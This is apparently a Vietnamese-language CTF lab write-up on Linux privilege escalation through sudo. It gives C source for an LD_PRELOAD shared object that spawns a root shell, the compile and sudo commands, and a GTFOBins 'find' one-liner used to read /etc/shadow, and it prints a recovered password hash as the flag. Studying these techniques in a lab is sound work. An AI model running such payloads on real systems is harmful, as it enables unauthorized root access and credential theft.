Description
Linux Privilege Escalation - Sudo
Dùng quyền sudo để leo thang đặc quyền và đọc password của frank (ở dạng hash).
Techniques
LD_PRELOAD
Là một hàm cho phép các chương trình sử dụng các thư viện chia sẻ, ta có thể gắn thư viện này vào các chương trình mà ta có quyền sudo nhằm leo thang đặc quyền.
Các bước khai thác:
- Dùng lệnh
sudo -l
để kiểm tra xemLD_PRELOAD
(là giá trị củaenv_keep
) có được enable hay không. Điều kiện này là tối quan trọng. - Viết một đoạn code C đơn giản và biên dịch thành một share object (có đuôi
.so
). - Chạy chương trình mà ta có thể dùng sudo và gắn share object ở trên vào.
Đoạn code C giúp khởi chạy một shell được viết như sau:
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
Biên dịch bằng câu lệnh sau:
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
Với shell.c
là tên tin lưu code.
Giả sử ta có quyền chạy find
với sudo. Khi đó, ta gắn shared object đã được biên dịch vào câu lệnh find
như sau:
sudo LD_PRELOAD=/home/user/ldpreload/shell.so find
Minh họa:
GTFOBins
Ta có thể thao khảo GTFOBins để biết những câu lệnh dùng với những chương trình mà ta có quyền sudo để leo thang đặc quyền.
Ví dụ với câu lệnh find
thì ta có câu lệnh sau:
sudo find . -exec /bin/sh \; -quit
Approach
Xem password:
cat /etc/shadow
Nhận ra ta không có quyền.
Sử dụng lệnh sudo -l
thì thấy ta có thể chạy find
với sudo
:
Matching Defaults entries for karen on ip-10-10-170-29:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User karen may run the following commands on ip-10-10-170-29:
(ALL) NOPASSWD: /usr/bin/find
(ALL) NOPASSWD: /usr/bin/less
(ALL) NOPASSWD: /usr/bin/nano
Áp dụng câu lệnh của GTFOBins ở trên, ta có thể có được quyền root và xem được hashed password của frank
Flag
Success
$6$2.sUUDsOLIpXKxcr$eImtgFExyr2ls4jsghdD3DHLHHP9X50Iv.jNmwo/BJpphrPRJWjelWEz2HH.joV14aDE wW1c3CahzB1uaqeLR1